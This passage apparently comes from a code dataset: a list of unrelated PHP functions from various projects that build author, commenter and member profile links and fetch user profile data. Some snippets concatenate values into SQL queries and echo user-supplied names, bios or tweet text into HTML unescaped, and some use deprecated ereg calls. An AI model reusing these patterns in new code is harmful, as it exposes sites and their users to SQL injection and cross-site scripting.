\"microfinance/profile/$username.html\";\n\t}\n\treturn $url;\n}", "function the_author_posts_link($deprecated = '')\n {\n }", "protected function setAuthorsLinks() {\r\n\t\t$authors = $this->getAuthors();\r\n\t\tif (!empty($authors)) {\r\n\t\t\tforeach ($this->settings['site']['authors'] as $author) {\r\n\t\t\t\tif (in_array(trim($author['name']), $authors) && !empty($author['uri'])) {\r\n\t\t\t\t\t$typolink_conf = array(\r\n\t\t\t\t\t\t\"parameter\" => $author['uri'],\r\n\t\t\t\t\t\t\"forceAbsoluteUrl\" => 1,\r\n\t\t\t\t\t\t\"useCacheHash\" => 0);\r\n\t\t\t\t\t$this->authorsLinks[] = $this->getUri($typolink_conf);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function frontpage_online_link($id, $username) {\n $member_online_link = \"<a href='index.php?section=public&amp;page=profile&amp;id=\".$id.\"'>\".$username.\"</a>\";\n return $member_online_link;\n\n }", "function the_author_url()\n {\n }", "function ridizain_list_authors() {\r\n\t$contributor_ids = get_users( array(\r\n\t\t'fields' => 'ID',\r\n\t\t'orderby' => 'post_count',\r\n\t\t'order' => 'DESC',\r\n\t\t'who' => 'authors',\r\n\t) );\r\n\r\n\tforeach ( $contributor_ids as $contributor_id ) :\r\n\t\t$post_count = count_user_posts( $contributor_id );\r\n\r\n\t\t// Move on if user has not published a post (yet).\r\n\t\tif ( ! $post_count ) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t?>\r\n\r\n\t<div class=\"contributor\">\r\n\t\t<div class=\"contributor-info\">\r\n\t\t\t<div class=\"contributor-avatar\"><?php echo get_avatar( $contributor_id, 132 ); ?></div>\r\n\t\t\t<div class=\"contributor-summary\">\r\n\t\t\t\t<h2 class=\"contributor-name\"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>\r\n\t\t\t\t<p class=\"contributor-bio\">\r\n\t\t\t\t\t<?php echo get_the_author_meta( 'description', $contributor_id ); ?>\r\n\t\t\t\t</p>\r\n\t\t\t\t<a class=\"contributor-posts-link\" href=\"<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>\">\r\n\t\t\t\t\t<?php printf( _n( '%d Article', '%d Articles', $post_count, 'ridizain' ), $post_count ); ?>\r\n\t\t\t\t</a>\r\n\t\t\t</div><!-- .contributor-summary -->\r\n\t\t</div><!-- .contributor-info -->\r\n\t</div><!-- .contributor -->\r\n\r\n\t<?php\r\n\tendforeach;\r\n}", "protected function single_user_link( $match = '' ) {\n\t\t$object = get_user_by( 'slug', $match );\n\n\t\treturn ( ! empty( $object->ID ) )\n\t\t\t? get_author_posts_url( $object->ID )\n\t\t\t: false;\n\t}", "function viewUserProfile()\n{\n\t//$clientid=validate_input($_GET['id']);\n\t\n\t$userName=validate_input($_GET['id']);\n\t$clientid=getUserIdfromUserName($userName);\t\n\t\n\t$session_values=get_user_session();\n\t$my_session_id\t= $session_values['id'];\n\t\n\t$data= array();\t\n\t\n\tif($my_session_id)\n\t{\n\t\t$data['followed']= doIFollowThisUser($my_session_id,$clientid);\n\t}\n\t\n //the defaults starts\n\tglobal $myStaticVars;\n\textract($myStaticVars); // make static vars local\n\t$member_default_avatar \t\t= $member_default_avatar;\n\t$member_default_cover\t\t= $member_default_cover;\n\t$member_default\t\t\t\t= $member_default;\n\t$company_default_cover\t\t= $company_default_cover;\n\t$company_default_avatar\t\t= $company_default_avatar;\n\t$events_default\t\t\t\t= $events_default;\n\t$event_default_poster\t\t= $event_default_poster;\n\t//the defaults ends\n\n\t/*\n $qry=\"SELECT entrp_login.clientid,entrp_login.firstname,entrp_login.lastname,entrp_login.username,client_profile.city,client_profile.country,client_profile.contact_email as email,\n\t\t\t \t\t client_profile.avatar,client_profile.cover_pic,client_profile.designation,client_profile.mobile,client_profile.website,client_profile.about_me,\n\t\t\t \t\t client_profile.secondary_mobile,\n\t\t\t \t\t location_info.location_desc,\n\t\t\t \t\t company_profiles.company_name,company_profiles.description\n\t\t\tFROM entrp_login\n\t\t\tLEFT JOIN client_profile ON entrp_login.clientid=client_profile.clientid\n\t\t\tLEFT JOIN location_info ON location_info.id=client_profile.client_location\n\t\t\tLEFT JOIN company_profiles ON company_profiles.clientid=entrp_login.clientid\n\t\t\tWHERE entrp_login.clientid=\".$clientid.\"\n\t \";\n\t*/\n\t\n\t$qry=\"SELECT entrp_login.clientid,entrp_login.firstname,entrp_login.lastname,entrp_login.username,client_profile.city,client_profile.country,client_profile.contact_email as email,\n\t\t\t \t\t client_profile.avatar,client_profile.cover_pic,client_profile.designation,client_profile.mobile,client_profile.website,client_profile.about_me,\n\t\t\t \t\t client_profile.secondary_mobile,\n\t\t\t \t\t location_info.location_desc\n\t\t\tFROM entrp_login\n\t\t\tLEFT JOIN client_profile ON entrp_login.clientid=client_profile.clientid\n\t\t\tLEFT JOIN location_info ON location_info.id=client_profile.client_location\n\t\t\tWHERE entrp_login.clientid=\".$clientid.\"\n\t \";\n\t$res=getData($qry);\n $count_res=mysqli_num_rows($res);\n\tif($count_res>0)\n {\n\n \twhile($row=mysqli_fetch_array($res))\n {\n \t$data['id']\t\t\t\t=\t$row['clientid'];\n \t\n \t\n \t\tif($row['avatar']!='')\n \t\t{\n \t\t\t$data['avatar']\t=\t$row['avatar'];\n \t\t}\n \t\telse\n \t\t{\n \t\t\t$data['avatar']\t=\t$member_default_avatar;\n \t\t} \n \t\t \t\t\n \t\tif($row['cover_pic']!='')\n \t\t{\n \t\t\t$data['coverPhoto']\t=\t$row['cover_pic'];\n \t\t}\n \t\telse\n \t\t{\n \t\t\t$data['coverPhoto']\t=\t'';\n \t\t} \n\n\t\t\t$data['firstName'] \t= \t$row['firstname'];\n\t\t\t$data['lastName'] \t= \t$row['lastname'];\n\t\t\t$data['userName'] \t= \t$row['username'];\n\t\t\t$data['position'] \t= \t$row['designation'];\n\t\t\t\n\t\t\t$data['city'] \t\t\t= \t$row['city'];\n\t\t\t\n\t\t\t$data['aboutMe'] \t\t= htmlspecialchars_decode($row['about_me'],ENT_QUOTES);\n\t\t\t$data['email'] \t\t= $row['email'];\n\t\t\t$data['website'] \t\t= $row['website'];\n\t\t\t$data['mobile'] \t\t= $row['mobile'];\n\t\t\t$data['tel'] \t\t\t= $row['secondary_mobile'];\t\t\t\n\n\t\t\t$data['success'] = true;\n\t\t\t$data['msg'] = 'Profile fetched';\n\t\t}\n\t\t\n\t\t$companyID\t=\tgetCompanyIDFromCompUserRelation($clientid);\n\t\t \t\n\t\t$data['company']['companyName'] \t\t= getCompanyNameUsingCompUserRelation($companyID);\t\n\t\t$data['company']['companyDesc'] \t\t= getCompanyDescriptionUsingCompUserRelation($companyID);\t\n\t\t \t\n \t$data['skills'] \t\t= get_user_skill_sets($clientid);\n \t$data['interests'] \t= get_user_interest_sets($clientid);\n \t\n \t//Function to get total followers of a user\n\t\t$data['followers'] \t= user_followers($clientid);\n\t\t\n\t\t//Function to get total followings of a user\n\t\t$data['following'] \t= user_following($clientid);\n\t\t\n\t\t//if i am me\n\t\tif($data['id']==$my_session_id)\n\t\t{\n\t\t\t$data['myProfile'] \t= 1;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$data['myProfile'] \t= 0;\n\t\t}\n \t \t\n }\n else\n {\n \t$data['success'] = false;\n\t\t$data['msg'] = 'Please check your credentials once again';\n }\n return $data;\n}", "function voyage_mikado_get_author_posts_url() {\n return get_author_posts_url(get_the_author_meta('ID'));\n }", "function medigroup_mikado_get_author_posts_url() {\n return get_author_posts_url(get_the_author_meta('ID'));\n }", "function ShowLink()\n {\n $CompaniesPage = CompanyListPage::get()->first();\n if ($this->Description) {\n return $CompaniesPage->Link() . \"profile/\" . $this->URLSegment;\n } else {\n return $this->URL;\n }\n }", "function linkify_tweet($tweet) {\n\n //Convert urls to <a> links\n $tweet = preg_replace(\"/([\\w]+\\:\\/\\/[\\w-?&;#~=\\.\\/\\@]+[\\w\\/])/\", \"<a target=\\\"_blank\\\" href=\\\"$1\\\">$1</a>\", $tweet);\n\n //Convert hashtags to twitter searches in <a> links\n $tweet = preg_replace(\"/#([A-Za-z0-9\\/\\.]*)/\", \"<a target=\\\"_new\\\" href=\\\"http://twitter.com/search?q=$1\\\">#$1</a>\", $tweet);\n\n //Convert attags to twitter profiles in <a> links\n $tweet = preg_replace(\"/@([A-Za-z0-9\\/\\.]*)/\", \"<a href=\\\"http://www.twitter.com/$1\\\">@$1</a>\", $tweet);\n\n return $tweet;\n\n}", "function socialnetwork_writeLink($member_id, $modulo, $type, $image = false, $ref = false, $tb = false, $class=\"\",$user=true) {\n\t\tif ($member_id == 0) {\n\t\t\treturn false;\n\t\t}\n\t\t$account = new Account($member_id);\n\t\t$profile = new Profile($member_id);\n\t\t$contact = db_getFromDB(\"contact\", \"account_id\", db_formatNumber($member_id), \"1\");\n\n\t\t$name_title = string_htmlentities(string_ucwords($profile->nickname && $account->has_profile == \"y\"? $profile->nickname: $contact->first_name.\" \".$contact->last_name));\n\t\tif ($profile->getNumber(\"account_id\") > 0){\n\t\t\t$name_link = string_ucwords($profile->nickname && $account->has_profile == \"y\"? $profile->nickname: $contact->first_name.\" \".$contact->last_name);\n\t\t}\n\n\t\tif ($account->has_profile == 'y' && SOCIALNETWORK_FEATURE == \"on\" && $account->getNumber(\"id\") > 0) {\n\t\t\t\n\t\t\tif (MODREWRITE_FEATURE == \"on\") {\n\t\t\t\tif (is_numeric($image)) {\n\t\t\t\t\t$imgObj = new Image($image, true);\n\t\t\t\t\tif ($imgObj->imageExists()) {\n\t\t\t\t\t\tif ($ref == true) {\n\t\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html');\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" onclick=\\\"urlRedirect('javascript:void(0);');\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$link .= $imgObj->getTag(true, PROFILE_IMAGE_WIDTH, PROFILE_IMAGE_HEIGHT);\n\t\t\t\t\t\t$link .= \"</a>\";\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($ref == true) {\n\t\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html');\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" onclick=\\\"urlRedirect('javascript:void(0);');\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($profile->facebook_image) {\n\t\t\t\t\t\t\timage_getNewDimension(PROFILE_IMAGE_WIDTH, PROFILE_IMAGE_HEIGHT, $profile->facebook_image_width ? $profile->facebook_image_width : 100, $profile->facebook_image_height ? $profile->facebook_image_height : 100, $newWidth, $newHeight);\n\t\t\t\t\t\t\t$link .= \"<img width=\\\"$newWidth\\\" height=\\\"$newHeight\\\" src=\\\"\".$profile->facebook_image.\"\\\" border=\\\"0\\\" title=\\\"\".$name_title.\"\\\" alt=\\\"\".$name_title.\"\\\" />\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (string_strpos($_SERVER[\"PHP_SELF\"], \"sitemgr\") || string_strpos($_SERVER[\"PHP_SELF\"], \"members\")){\n\t\t\t\t\t\t\t\t$link .= \"<span class=\\\"no-image no-link\\\"></span>\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$link .= \"<span class=\\\"no-image\\\"></span>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$link .= \"</a>\";\n\n\t\t\t\t\t}\n\t\t\t\t} else if (!$image && !$ref) {\n\t\t\t\t\tif ($tb == true) {\n\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html');\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" onclick=\\\"urlRedirect('javascript:void(0);');\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($user){\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if ($ref == true) {\n\t\t\t\t\tif ($user){\n\t\t\t\t\t\t$link = SOCIALNETWORK_URL.\"/\".$profile->getString(\"friendly_url\").\".html\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$link = \"href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (is_numeric($image)) {\n\t\t\t\t\t$imgObj = new Image($image, true);\n\t\t\t\t\tif ($imgObj->imageExists()) {\n\t\t\t\t\t\tif ($ref == true) {\n\t\t\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"');\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$link .= $imgObj->getTag(true, PROFILE_IMAGE_WIDTH, PROFILE_IMAGE_HEIGHT);\n\t\t\t\t\t\t$link .= \"</a>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($ref == true) {\n\t\t\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"');\\\"title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"\\\"title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\";\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($profile->facebook_image) {\n\t\t\t\t\t\t\timage_getNewDimension(PROFILE_IMAGE_WIDTH, PROFILE_IMAGE_HEIGHT, $profile->facebook_image_width, $profile->facebook_image_height, $newWidth, $newHeight);\n\t\t\t\t\t\t\t$link .= \"<img width=\\\"$newWidth\\\" height=\\\"$newHeight\\\" src=\\\"\".$profile->facebook_image.\"\\\" border=\\\"0\\\" alt=\\\"\".$profile->nickname.\"\\\" />\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$link .= \"<img width=\\\"\".PROFILE_IMAGE_WIDTH.\"\\\" height=\\\"\".PROFILE_IMAGE_HEIGHT.\"\\\" src=\\\"\".DEFAULT_URL.\"/images/profile_noimage.gif\\\" border=\\\"0\\\" alt=\\\"No Image\\\" />\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$link .= \"</a>\";\n\t\t\t\t\t}\n\t\t\t\t} else if (!$image && !$ref) {\n\t\t\t\t\tif ($tb == true) {\n\t\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" onclick=\\\"urlRedirect('\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"');\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($user) { \n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"\".SOCIALNETWORK_URL.\"/index.php?id=\".$member_id.\"\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$link = \"<a \".$class.\" href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\" title=\\\"\".$name_title.\"\\\">\".$name_link.\"</a>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if ($ref == true) {\n\t\t\t\t\tif ($user) {\n\t\t\t\t\t\t$link = SOCIALNETWORK_URL.\"/index.php?id=\".$member_id;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$link = \"href=\\\"javascript:void(0);\\\" style=\\\"cursor:default\\\"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\tif (SOCIALNETWORK_FEATURE == \"on\" && $ref) {\n\t\t\t\t$link = \"<img width=\\\"\".PROFILE_IMAGE_WIDTH.\"\\\" height=\\\"\".PROFILE_IMAGE_HEIGHT.\"\\\" src=\\\"\".DEFAULT_URL.\"/images/profile_noimage.gif\\\" border=\\\"0\\\" alt=\\\"No Image\\\" />\";\n\t\t\t} else {\n\t\t\t\tif ($name_link){\n\t\t\t\t\t$link = \"<strong>\".$name_link.\"</strong>\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $link;\n\t}", "function get_comment_author_link($comment_id = 0)\n {\n }", "function commenter_link() {\n\t $commenter = get_comment_author_link();\n\t if ( ereg( '<a[^>]* class=[^>]+>', $commenter ) ) {\n\t $commenter = ereg_replace( '(<a[^>]* class=[\\'\"]?)', '\\\\1url ' , $commenter );\n\t } else {\n\t $commenter = ereg_replace( '(<a )/', '\\\\1class=\"url \"' , $commenter );\n\t }\n\t $avatar_email = get_comment_author_email();\n\t $avatar = str_replace( \"class='avatar\", \"class='photo avatar\", get_avatar( $avatar_email, 80 ) );\n\t echo $avatar . ' <span class=\"fn n\">' . $commenter . '</span>';\n\t}", "function commenter_link() {\n\t $commenter = get_comment_author_link();\n\t if ( ereg( '<a[^>]* class=[^>]+>', $commenter ) ) {\n\t $commenter = ereg_replace( '(<a[^>]* class=[\\'\"]?)', '\\\\1url ' , $commenter );\n\t } else {\n\t $commenter = ereg_replace( '(<a )/', '\\\\1class=\"url \"' , $commenter );\n\t }\n\t $avatar_email = get_comment_author_email();\n\t $avatar = str_replace( \"class='avatar\", \"class='photo avatar\", get_avatar( $avatar_email, 80 ) );\n\t echo $avatar . ' <span class=\"fn n\">' . $commenter . '</span>';\n\t}", "function content_twitter_mention($content) {\n\treturn preg_replace('/([^a-zA-Z0-9-_&])@([0-9a-zA-Z_]+)/', \"$1<a href=\\\"http://twitter.com/$2\\\" target=\\\"_blank\\\" rel=\\\"nofollow\\\">@$2</a>\", $content);\n}", "function comment_author_url($comment_id = 0)\n {\n }", "public function users() {\n\t\t$this->template->content = View::instance(\"v_posts_users\");\n\t\t\n\t\t\n\t\t# Grab all the users\n\t\t$q = \"SELECT * \n\t\t\tFROM users WHERE email <> '\".$this->user->email.\"'\";\n\t\t\n\t\t$users = DB::instance(DB_NAME)->select_rows($q);\n\t\t\n\t\t# Figure out the connections\n\t\t$q = \"SELECT * \n\t\t\tFROM users_users \n\t\t\tWHERE user_id = \".$this->user->user_id;\n\t\t\n\t\t$connections = DB::instance(DB_NAME)->select_array($q, 'user_id_followed');\n\t\t\n\t\t#echo Debug::dump($connections,\"connections\");\n\t\t\n\t\n\t\t# Pass data to the view\n\t\t$this->template->content->connections = $connections;\n\t\t$this->template->content->users = $users;\n\t\t\n\t\t# Render the view\n\t\techo $this->template;\n\t\n\t}", "function ProfileUrl($id, $seo_name) {\n\tglobal $setting;\n\n\tif ($setting['seo_on'] == 0) {\n\t\t$url = 'index.php?task=profile&amp;id='.$id;\n\t}\n\telse if ($setting['seo_on'] == 3) {\n\t\t$url = 'profile/'.$seo_name.$setting['seo_extension'];\n\t}\n\telse {\n\t\t$url = 'profile/'.$id.'/'.$seo_name.$setting['seo_extension'];\n\t}\n\treturn $setting['site_url'].'/'.$url;\n}", "function theme_profile_directory($profile_pid) {\n\t$profile_author = get_user_by('slug', $profile_pid);\n\t$profile_author_id = $profile_author->ID;\n\t$directory_page_url = $profile_author->directory_page_url;\n\t\n\techo \"\n\t<div id=\\\"my-directory\\\">\n\t <br />\n\t\t<a href=\\\"\" . $directory_page_url . \"\\\" target=\\\"_blank\\\"><h3>View My Directory Page</h3></a>\n\t\t<a href=\\\"/forms/update-my-directory-page/\\\">\n\t\t <h3>Update my Directory Page details here</h3>\n\t\t</a>\n\t</div>\n\t\";\n}", "public static function createUserProfileButton($con,$username) {\n $userObj = new User($con,$username);\n $profilePic = $userObj->getUserProfilePic();\n $link = \"profile.php?username=$username\";\n\n return \"<a href='$link'>\n <img src='$profilePic' class='profilePic'>\n </a>\";\n }", "function the_author_link()\n {\n }", "public function get_user_post() {\n \n // Get post's id\n $post_id = $this->CI->input->get('post_id', TRUE); \n \n // Get post data by user id and post id\n $get_post = $this->CI->posts_model->get_post($this->CI->user_id, $post_id);\n \n if ( $get_post ) {\n \n if ( get_user_option('settings_display_groups') && $get_post['status'] != '1' ) {\n \n if ( is_numeric( $get_post['category'] ) ) {\n \n // Load the lists model\n $this->CI->load->ext_model( MIDRUB_BASE_USER_APPS_POSTS . 'models/', 'Lists_model', 'lists_model' );\n \n // Get social networks\n $group_metas = $this->CI->lists_model->get_lists_meta( $this->CI->user_id, $get_post['category'] );\n \n $networks = array();\n \n if ( $group_metas ) {\n \n foreach ( $group_metas as $meta ) {\n \n $array_meta = (array)$meta;\n $array_meta['status'] = '0';\n $array_meta['network_status'] = '';\n $networks[] = $array_meta;\n \n }\n \n }\n \n } else {\n \n $networks = array();\n \n }\n \n } else {\n\n // Get social networks\n $networks = $this->CI->posts_model->all_social_networks_by_post_id( $this->CI->user_id, $post_id );\n \n }\n\n $profiles = array();\n \n $networks_icon = array();\n\n if ( $networks ) {\n\n foreach ( $networks as $network ) {\n\n if ( in_array( $network['network_name'], $networks_icon ) ) {\n\n $profiles[] = array(\n 'network_id' => $network['network_id'],\n 'user_name' => $network['user_name'],\n 'status' => $network['status'],\n 'network_status' => $network['network_status'],\n 'icon' => $networks_icon[$network['network_name']],\n 'network_name' => ucwords( str_replace('_', ' ', $network['network_name']) )\n );\n\n } else {\n\n $network_icon = (new MidrubBaseUserAppsCollectionHelpers\\Accounts)->get_network_icon($network['network_name']);\n\n if ( $network_icon ) {\n \n $profiles[] = array(\n 'network_id' => $network['network_id'],\n 'user_name' => $network['user_name'],\n 'status' => $network['status'],\n 'network_status' => $network['network_status'],\n 'icon' => $network_icon,\n 'network_name' => ucwords( str_replace('_', ' ', $network['network_name']) )\n );\n \n $networks_icon[$network['network_name']] = $network_icon;\n \n }\n\n }\n\n }\n\n }\n\n // Get image\n $img = unserialize($get_post['img']);\n\n // Get video\n $video = unserialize($get_post['video']);\n\n // Verify if image exists\n if ( $img ) {\n $images = get_post_media_array($this->CI->user_id, $img );\n if ($images) {\n $img = $images;\n }\n }\n\n // Verify if video exists\n if ( $video ) {\n $videos = get_post_media_array($this->CI->user_id, $video );\n if ($videos) {\n $video = $videos;\n }\n }\n \n $time = $get_post['time'];\n \n if ( $get_post['status'] < 1 ) {\n $time = $this->CI->lang->line('draft_post');\n }\n\n // Define boost variable\n $boost = array();\n\n // Verify if Ads Manager is enabled\n if (get_option('app_facebook_ads_enable')) {\n\n if ( $get_post['fb_boost_id'] ) {\n\n // Get boost option by id\n $get_boost = $this->CI->posts_model->get_boost_single($this->CI->user_id, $get_post['fb_boost_id']);\n\n if ($get_boost) {\n\n $boost = $get_boost;\n }\n\n }\n\n }\n\n // Get post content\n $post = array(\n 'post_id' => $post_id,\n 'title' => $get_post['title'],\n 'body' => $get_post['body'],\n 'datetime' => $time,\n 'time' => time(),\n 'img' => $img,\n 'video' => $video,\n 'profiles' => $profiles,\n 'boost' => $boost,\n 'delete_post' => $this->CI->lang->line('delete_post')\n );\n \n $data = array(\n 'success' => TRUE,\n 'content' => $post\n );\n\n echo json_encode($data);\n \n } else {\n \n $data = array(\n 'success' => FALSE,\n 'message' => $this->CI->lang->line('no_post_found')\n );\n\n echo json_encode($data); \n \n }\n \n }", "function bp_follow_screen_activity_following() {\n\tbp_update_is_item_admin( is_super_admin(), 'activity' );\n\tdo_action( 'bp_activity_screen_following' );\n\tbp_core_load_template( apply_filters( 'bp_activity_template_following', 'members/single/home' ) );\n}", "public static function hookPersonalUrls(array &$personal_urls, Title $title) {\n global $wgUser;\n global $wgRealUsernames_linktext;\n global $wgRealUsernames_linkref;\n global $wgRealUsernames_append_username;\n\n // Nothing to do if text and ref replacement are not enabled.\n if ($wgRealUsernames_linktext !== true && $wgRealUsernames_linkref !== true) {\n return true;\n }\n\n $username = $wgUser->getName();\n wfDebugLog('RealUsernames', __METHOD__ . \": personal urls received for \" . $username);\n\n // Get the real username for the username\n $realusername = self::get_realusername_from_username($username);\n // Default to username if not realusername is found.\n if ($realusername === '') {\n $realusername = $username;\n } else {\n wfDebugLog('RealUsernames', __METHOD__ . \": personal urls change \". $username . \" to \" . $realusername);\n }\n\n // Let's apply real usernames to the texts.\n if ($wgRealUsernames_linktext === true) {\n // To the \"userpage\" text\n if (isset($personal_urls['userpage'])) {\n if ($personal_urls['userpage']['text'] === $username) {\n $text = $realusername;\n // With $wgRealUsernames_append_username enabled, users with \"block\" permissions\n // see the username together with the real username.\n if ($wgRealUsernames_append_username === true && $wgUser->isAllowed('block')) {\n $text = $text . ' (' . $username . ')';\n }\n $personal_urls['userpage']['text'] = $text;\n }\n }\n // Nothing to change in the \"mytalk\" text\n }\n\n // Let's apply real usernames to the hrefs.\n if ($wgRealUsernames_linkref === true) {\n // To the \"userpage\" href\n if (isset($personal_urls['userpage'])) {\n $title = Title::newFromText($realusername, NS_USER);\n if (!is_object($title)) {\n throw new MWException(__METHOD__ . \" given invalid real username $realusername\");\n }\n $personal_urls['userpage']['href'] = $title->getLocalURL();\n $personal_urls['userpage']['class'] = $title->getArticleID() != 0 ? false : 'new';\n }\n // To the \"mytalk\" href\n if (isset($personal_urls['mytalk'])) {\n $title = Title::newFromText($realusername, NS_USER_TALK);\n if (!is_object($title)) {\n throw new MWException(__METHOD__ . \" given invalid real username $realusername\");\n }\n $personal_urls['mytalk']['href'] = $title->getLocalURL();\n $personal_urls['mytalk']['class'] = 